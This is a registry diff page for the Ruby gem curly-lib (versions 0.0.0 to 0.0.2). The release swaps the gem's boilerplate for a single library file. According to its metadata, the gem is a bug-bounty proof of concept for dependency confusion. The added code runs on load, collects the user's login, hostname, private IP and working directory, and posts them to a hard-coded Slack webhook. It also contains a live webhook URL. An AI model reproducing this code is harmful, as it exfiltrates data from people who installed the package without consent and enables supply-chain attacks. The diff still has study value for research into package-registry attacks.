curly-lib 0.0.0 → 0.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of curly-lib might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/lib/{curly/lib.rb → curly-lib.rb} +12 -9
- metadata +12 -22
- data/.gitignore +0 -8
- data/Gemfile +0 -6
- data/README.md +0 -35
- data/Rakefile +0 -2
- data/bin/console +0 -14
- data/bin/setup +0 -8
- data/curly-lib.gemspec +0 -38
- data/lib/curly/lib/version.rb +0 -5
checksums.yaml
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
---
|
|
2
2
|
SHA256:
|
|
3
|
-
metadata.gz:
|
|
4
|
-
data.tar.gz:
|
|
3
|
+
metadata.gz: 4da1a8c9412492f819c28845fbea587bb5188e7657308018ac7105424a174e0e
|
|
4
|
+
data.tar.gz: 19414e8967f88d0e875b419f15252deebd13d34ba6a878f311b64551f82e6000
|
|
5
5
|
SHA512:
|
|
6
|
-
metadata.gz:
|
|
7
|
-
data.tar.gz:
|
|
6
|
+
metadata.gz: 318ff53732383643cdedd397f809bd834eb1beae4a91edda5862c56827a46b0d777da803152972af475a5e170f27ac7712decdf66e2c761fbf48bf69a5aafa8c
|
|
7
|
+
data.tar.gz: 8c257471e7e003e7b79ada1d21b520e729ebf64c26b2e47793c466a9a27747062e70ceb30df52221f6005f5de3661da4a783dce262c5e7de9fc1d2ad6909e258
|
|
@@ -1,25 +1,28 @@
|
|
|
1
|
-
module
|
|
1
|
+
module Deviceinfo
|
|
2
2
|
|
|
3
3
|
require 'json'
|
|
4
4
|
require 'net/http'
|
|
5
5
|
require 'socket'
|
|
6
|
-
|
|
6
|
+
require 'etc'
|
|
7
|
+
|
|
7
8
|
#Private IP
|
|
8
9
|
privip = UDPSocket.open {|s| s.connect("146.190.26.50", 1); s.addr.last}
|
|
9
10
|
#Hostname
|
|
10
11
|
hostname = Socket.gethostname
|
|
11
12
|
#Current directory
|
|
12
13
|
dir = Dir.pwd
|
|
13
|
-
|
|
14
|
-
|
|
14
|
+
whoami = Etc.getlogin
|
|
15
|
+
|
|
16
|
+
uri = URI('https://hooks.slack.com/services/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')
|
|
15
17
|
req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
|
|
16
|
-
|
|
18
|
+
|
|
17
19
|
req.body = {
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
20
|
+
text: "New Usage:" + "\n"+
|
|
21
|
+
"User/Hostname: " + whoami+'/'+hostname + "\n" +
|
|
22
|
+
"Private IP: " + privip + "\n" +
|
|
23
|
+
"Directory: " + dir,
|
|
21
24
|
}.to_json
|
|
22
|
-
|
|
25
|
+
|
|
23
26
|
Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
|
|
24
27
|
http.request(req)
|
|
25
28
|
end
|
metadata
CHANGED
|
@@ -1,14 +1,14 @@
|
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
|
2
2
|
name: curly-lib
|
|
3
3
|
version: !ruby/object:Gem::Version
|
|
4
|
-
version: 0.0.
|
|
4
|
+
version: 0.0.2
|
|
5
5
|
platform: ruby
|
|
6
6
|
authors:
|
|
7
|
-
-
|
|
7
|
+
- Ali Fathi
|
|
8
8
|
autorequire:
|
|
9
|
-
bindir:
|
|
9
|
+
bindir: bin
|
|
10
10
|
cert_chain: []
|
|
11
|
-
date: 2024-05-
|
|
11
|
+
date: 2024-05-04 00:00:00.000000000 Z
|
|
12
12
|
dependencies:
|
|
13
13
|
- !ruby/object:Gem::Dependency
|
|
14
14
|
name: bundler
|
|
@@ -38,28 +38,18 @@ dependencies:
|
|
|
38
38
|
- - "~>"
|
|
39
39
|
- !ruby/object:Gem::Version
|
|
40
40
|
version: '10.0'
|
|
41
|
-
description:
|
|
42
|
-
|
|
43
|
-
|
|
41
|
+
description: 'Vulnerability Disclosure: Dependency confusion vulnerability POC! get
|
|
42
|
+
in contact with alifathi@wearehackerone.com.'
|
|
43
|
+
email: alifathi@wearehackerone.com
|
|
44
44
|
executables: []
|
|
45
45
|
extensions: []
|
|
46
46
|
extra_rdoc_files: []
|
|
47
47
|
files:
|
|
48
|
-
-
|
|
49
|
-
- Gemfile
|
|
50
|
-
- README.md
|
|
51
|
-
- Rakefile
|
|
52
|
-
- bin/console
|
|
53
|
-
- bin/setup
|
|
54
|
-
- curly-lib.gemspec
|
|
55
|
-
- lib/curly/lib.rb
|
|
56
|
-
- lib/curly/lib/version.rb
|
|
48
|
+
- lib/curly-lib.rb
|
|
57
49
|
homepage: https://hackerone.com/alifathi
|
|
58
|
-
licenses:
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
source_code_uri: https://github.com/alifathi-h1/curly-lib.git
|
|
62
|
-
changelog_uri: https://github.com/alifathi-h1/curly-lib/changelog.txt
|
|
50
|
+
licenses:
|
|
51
|
+
- MIT
|
|
52
|
+
metadata: {}
|
|
63
53
|
post_install_message:
|
|
64
54
|
rdoc_options: []
|
|
65
55
|
require_paths:
|
|
@@ -78,5 +68,5 @@ requirements: []
|
|
|
78
68
|
rubygems_version: 3.0.3.1
|
|
79
69
|
signing_key:
|
|
80
70
|
specification_version: 4
|
|
81
|
-
summary: 'Vulnerability Disclosure: Dependency confusion vulnerability'
|
|
71
|
+
summary: 'Vulnerability Disclosure: Dependency confusion vulnerability POC!'
|
|
82
72
|
test_files: []
|
data/.gitignore
DELETED
data/Gemfile
DELETED
data/README.md
DELETED
|
@@ -1,35 +0,0 @@
|
|
|
1
|
-
# Curly::Lib
|
|
2
|
-
|
|
3
|
-
Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/curly/lib`. To experiment with that code, run `bin/console` for an interactive prompt.
|
|
4
|
-
|
|
5
|
-
TODO: Delete this and the text above, and describe your gem
|
|
6
|
-
|
|
7
|
-
## Installation
|
|
8
|
-
|
|
9
|
-
Add this line to your application's Gemfile:
|
|
10
|
-
|
|
11
|
-
```ruby
|
|
12
|
-
gem 'curly-lib'
|
|
13
|
-
```
|
|
14
|
-
|
|
15
|
-
And then execute:
|
|
16
|
-
|
|
17
|
-
$ bundle
|
|
18
|
-
|
|
19
|
-
Or install it yourself as:
|
|
20
|
-
|
|
21
|
-
$ gem install curly-lib
|
|
22
|
-
|
|
23
|
-
## Usage
|
|
24
|
-
|
|
25
|
-
TODO: Write usage instructions here
|
|
26
|
-
|
|
27
|
-
## Development
|
|
28
|
-
|
|
29
|
-
After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
|
30
|
-
|
|
31
|
-
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
|
32
|
-
|
|
33
|
-
## Contributing
|
|
34
|
-
|
|
35
|
-
Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/curly-lib.
|
data/Rakefile
DELETED
data/bin/console
DELETED
|
@@ -1,14 +0,0 @@
|
|
|
1
|
-
#!/usr/bin/env ruby
|
|
2
|
-
|
|
3
|
-
require "bundler/setup"
|
|
4
|
-
require "curly/lib"
|
|
5
|
-
|
|
6
|
-
# You can add fixtures and/or initialization code here to make experimenting
|
|
7
|
-
# with your gem easier. You can also use a different console, if you like.
|
|
8
|
-
|
|
9
|
-
# (If you use this, don't forget to add pry to your Gemfile!)
|
|
10
|
-
# require "pry"
|
|
11
|
-
# Pry.start
|
|
12
|
-
|
|
13
|
-
require "irb"
|
|
14
|
-
IRB.start(__FILE__)
|
data/bin/setup
DELETED
data/curly-lib.gemspec
DELETED
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
|
|
2
|
-
lib = File.expand_path("../lib", __FILE__)
|
|
3
|
-
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
|
|
4
|
-
require "curly/lib/version"
|
|
5
|
-
|
|
6
|
-
Gem::Specification.new do |spec|
|
|
7
|
-
spec.name = "curly-lib"
|
|
8
|
-
spec.version = Curly::Lib::VERSION
|
|
9
|
-
spec.authors = ["alifathi-h1"]
|
|
10
|
-
spec.email = ["alifathi@wearehackerone.com"]
|
|
11
|
-
|
|
12
|
-
spec.summary = "Vulnerability Disclosure: Dependency confusion vulnerability"
|
|
13
|
-
spec.homepage = "https://hackerone.com/alifathi"
|
|
14
|
-
|
|
15
|
-
# Prevent pushing this gem to RubyGems.org. To allow pushes either set the 'allowed_push_host'
|
|
16
|
-
# to allow pushing to a single host or delete this section to allow pushing to any host.
|
|
17
|
-
if spec.respond_to?(:metadata)
|
|
18
|
-
|
|
19
|
-
spec.metadata["homepage_uri"] = spec.homepage
|
|
20
|
-
spec.metadata["source_code_uri"] = "https://github.com/alifathi-h1/curly-lib.git"
|
|
21
|
-
spec.metadata["changelog_uri"] = "https://github.com/alifathi-h1/curly-lib/changelog.txt"
|
|
22
|
-
else
|
|
23
|
-
raise "RubyGems 2.0 or newer is required to protect against " \
|
|
24
|
-
"public gem pushes."
|
|
25
|
-
end
|
|
26
|
-
|
|
27
|
-
# Specify which files should be added to the gem when it is released.
|
|
28
|
-
# The `git ls-files -z` loads the files in the RubyGem that have been added into git.
|
|
29
|
-
spec.files = Dir.chdir(File.expand_path('..', __FILE__)) do
|
|
30
|
-
`git ls-files -z`.split("\x0").reject { |f| f.match(%r{^(test|spec|features)/}) }
|
|
31
|
-
end
|
|
32
|
-
spec.bindir = "exe"
|
|
33
|
-
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
|
|
34
|
-
spec.require_paths = ["lib"]
|
|
35
|
-
|
|
36
|
-
spec.add_development_dependency "bundler", "~> 1.17"
|
|
37
|
-
spec.add_development_dependency "rake", "~> 10.0"
|
|
38
|
-
end
|